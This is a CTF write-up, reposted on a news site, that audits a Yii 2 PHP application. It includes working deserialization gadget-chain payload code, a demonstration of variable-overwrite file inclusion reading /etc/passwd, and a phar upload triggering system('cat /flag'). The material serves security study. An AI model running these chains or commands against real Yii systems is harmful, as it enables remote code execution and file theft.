Redian新闻
>
yii && gii ctf篇

yii && gii ctf篇

科技

概述

简单说下Yii 是一个高性能PHP的web 应用程序开发框架。通过一个简单的命令行工具 yiic 可以快速创建一个 web 应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。小伙伴ctf比赛时,遇见了这个框架,把题型发来,既然是代码审计,这个附件应该就是源码,把这个下载下来,看看里面有啥吧。下面附两张图:

接下来就聊聊这个框架存在的漏洞有哪些,稍稍做个总结。

文件包含

当小白看到文件上传的功能时,而且没有限制文件类型的逻辑,便想到了这个框架可能存在文件包含的漏洞,因为上传的路径是/tmp的路径,不在web目录下。如果想利用必须要通过文件包含、或者目录穿越的漏洞。从过源代码的分析,文件目录是这么定义的。

if (Yii::$app->request->isPost) {
    $model->file = UploadedFile::getInstance($model'file');

    if ($model->file && $model->validate()) {
        $path = '/tmp/' . $model->file->baseName . '.' . $model->file->extension;
        $model->file->saveAs($path);
        return $path;
    }else{
        return json_encode($model->errors);
    }
}

当baseName和extension不能通过改变请求包控制时,所以文件穿越不存在,只能文件包含了,随百度之。在源代码里有这么一段代码:

 public function renderPhpFile($_file_$_params_ = [])
{
    $_obInitialLevel_ = ob_get_level();
    ob_start();
    ob_implicit_flush(false);
    extract($_params_, EXTR_OVERWRITE);
    try {
        require $_file_;

extract是将数组解析成变量的一个函数,通过构建_file_的变量值,来包含tmp下的文件,这是小白当时做题时的思路。构建方式是在控制器里有一个接受外界参数的变量,如下所示data

public function actionIndex()
{
    $data = [['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];
    return $this->render('index',$data);
}

访问后的结果如下:

证明确实存在,小白按照代码的规则进行项目的整体查阅,只找到类似这种结构的代码段

$model->password = '';
return $this->render('login', [
    'model' => $model,
]);

这种model的参数,构建不出来file变量名,而且这是一个对象的形式。后来想破坏对象的结构,构建数组,花费一个多小时无果,寻找另外个入口。至此证明yii存在变量覆盖,文件包含的漏洞。

gii 出场【phar反序列化】

当所有代码段都不满足构建条件的时候,便有了这个gii哥们的想法,它是一个自动给开发者构建模块、数据、控制器简单逻辑的工具,或者说脚手架,验证开启方式:全局搜索gii.

访问方式:r=gii,如下图所示:

然后构建我们自己的控制器,点击控制器生成下的start。在表单里随便填下控制器名称,点击预览,

生的的代码如下:

看到并没有把render的第二个参数给传递过去,至此文件包含的思路彻底放弃。既然都聊到这了,那就索性看这个gii有什么漏洞,谷歌百度一下,

yii反序列化【payload是自己构建、不同于找已存在漏洞】

查一下现在系统的版本号:2.0.45 This is Yii version 2.0.45.

链一

vendor/yiisoft/yii2/db/BatchQueryResult.php

php
public function __destruct()
{
    // make sure cursor is closed
    $this->reset();
}

public function reset()
{
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
    $this->trigger(self::EVENT_RESET);
}

所以这个$this->_dataReader是可控的,那么close方法,这里就有两个思路,第一个是存在close方法,寻找利用点,第二个不存在,调用call方法的利用点,先看第二个的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。

public function __call($method$attributes)
{
    return $this->format($method$attributes);
}

public function format($format$arguments = [])
{
    return call_user_func_array($this->getFormatter($format), $arguments);
}

public function getFormatter($format)
{
    if (isset($this->formatters[$format])) {
        return $this->formatters[$format];
    }

这个类的$this->formatters也是可控的。当调用close的方法,便调用了call方法,此时close的方法名,便作为call的第一个参数被传递进来,也就是method是close。

此时构建payload【payload输出有特殊字符,需要在console的控制台复制】

namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = [];
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace {
    $a = new Faker\Generator(array('close'=>'phpinfo'));
    $b = new yii\db\BatchQueryResult($a);
    print(serialize($b));
}

此时的payload在这个ctf给定的压缩代码里是不能执行的。因为这个版本大于2.0.37。到这里找一下为什么不能执行,查阅文档得知。这两个类都实现了wakeup的方法,


//BatchQueryResult.php【只要序列化这个类,就报错】
public function __wakeup()
{
    throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}

//Generator.php【只要序列化这个类,formatters的内容就置空】
public function __wakeup()
{
    $this->formatters = [];
}

当注释掉这两个方法的时候,就可以实现返回值了。注意目前调用的函数没有传递参数,只能掉phpinfo这类的函数,输出是字符串类型的。结果如下:

补充:正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

链二

研究完了call的方法,现在看看close的方法。当全局搜索close方法的时候,找到vendor\yiisoft\yii2\web\DbSession.php。


public function close()
{
    if ($this->getIsActive()) {
        // prepare writeCallback fields before session closes
        $this->fields = $this->composeFields();
        YII_DEBUG ? session_write_close() : @session_write_close();
    }
}

/**
 * @return bool whether the session has started
 * 开启dug,在这个版本下,此函数验证为true,小于2.0.38不需要开启debug
 */

public function getIsActive()
{
    return session_status() === PHP_SESSION_ACTIVE;
}

protected function composeFields($id = null$data = null)
{
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
    if ($id !== null) {
        $fields['id'] = $id;
    }
    if ($data !== null) {
        $fields['data'] = $data;
    }
    return $fields;
}

call_user_func方法如果$this->writeCallback为字符串,就是方法名,如果是数组,就是类名和方法。所以为了解决给方法传递参数的缺陷,这里再去调用另一个类的方法,这个方法可以是可以传递参数进去的。使用链一的方法备注正则搜索。调用的文件代码如下:

//vendor/yiisoft/yii2/rest/CreateAction.php
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
//$this->checkAccess和$this->id都是我们可控的

构建payload

namespace yii\db{
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = [];
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}

namespace yii\web{
    class DbSession{
        public $writeCallback;
        public function __construct($writeCallback) {
            $this->writeCallback = $writeCallback;
        }
    }
}

namespace {
//    $a = new Faker\Generator(array('close'=>'phpinfo'));
//    $b = new yii\db\BatchQueryResult($a);
//    print(serialize($b));
    $c = new yii\rest\CreateAction('system','whoami');
    $b = new yii\web\DbSession(array($c'run'));
    $a = new yii\db\BatchQueryResult($b);
    print(serialize($a));
}

跳转gii

通过前台上传功能,上传

这个文件,然后返回上传路径:

gii控制器生成页抓取数据包

在后面增加cmd=system('cat /flag'),因为在phar.jpg中有这个一个执行代码

即可拿到flag。

E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
三星、SK海力士……首只可投韩国股票的ETF来了!新上市的中韩半导体ETF有哪些亮点?“电热毯”用electric 还是 electrical?3折入!TF新年限定礼盒,经典热门色号TF16+TF80+香水,女人的挚爱!#英语学习#Afflict和Inflict有什么区别?看看你能答对这道题吗?硅谷 7EDU 成为 ACT 官方授权考点!现开放注册 2023年3月 ACT 考试!MySQL中的 utf8 并不是真正的UTF-8编码 ! !Acciona Energía 收购德州最大的电池储能项目日本印象北海道全览8天6晚游|札幌+旭川+美瑛+登别+大沼+函馆+洞爷湖+小樽 温泉美食 美护照免签 代办中护签证CTSCTS8Netflix游戏副总裁采访:流媒体巨头Netflix为何做游戏、如何做?庆结婚35周年行(2):奔跑在乡间日本印象北海道全览7天5晚游 | 札幌+登别+大沼+函馆+洞爷湖+小樽 温泉美食之旅 美国护照免签 代办中护签证 CTSCTS7CTF中SSTI漏洞的简单利用As Cities Ride the Surge, How Rural Can Brace for Covid ImpactPostdoctoral Research Associate in Immunology and Infectious Dis3折入!TF礼盒,经典热门色号TF16+TF80+香水,女人的挚爱!全球一半病例在中国!Nat Struct & Mol Biol:科学家发现生物标志物的新形态,有望解开帕金森病诊断难题!【胡思乱讲】收藏两张图挪威交响诗 (二)卑尔根—挪威灵魂的赋予者China Vows to Strengthen Intellectual Rights Protection招CTF讲师一天3K?确认过薪资,是我无法企及的高度!聚焦高Beta下的ETF投资机遇,鹏华Ashares品牌宽基新作创50ETF首发在即境内首只可直投韩国市场的ETF创新品来了 华泰柏瑞中证韩交所中韩半导体ETF即将开卖!日本印象北海道全览8天6晚游|札幌+登别+大沼+函馆+洞爷湖+小樽+旭川或富良野+美瑛 美护照免签 代办中护签证 CTSCTS8精选SDE岗位 | TripActions、Cambly Inc.、Sigma Computing发布最新岗位!博士毕业,玩赛车爱摄影,是Principle Architect,也是Project Leader,这位工程师凭啥?Hiring | Assistant Director for Compliance盒马 iOS Live Activity &“灵动岛”配送场景实践Why China’s Environmental Impact Assessors Are Giving Up同样是PM,Product Manager、Program Manager、Project Manager的薪资哪个更高?ACT创始人亲解:什么是接纳承诺疗法(ACT)的六边形模型?海外首秀!视微OCT亮相罗马国际OCT大会,引领国产高端眼科设备走向全球香港批准比特币与以太坊期货ETF,港交所期货ETF已完成7360万美元募资爱慕先生品类升级,有“燚”(yì)点高级方法与感觉不管想不想肢解俄罗斯,都可以多了解一些俄罗斯的组成和人口分布等
logo
联系我们隐私协议©2025 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。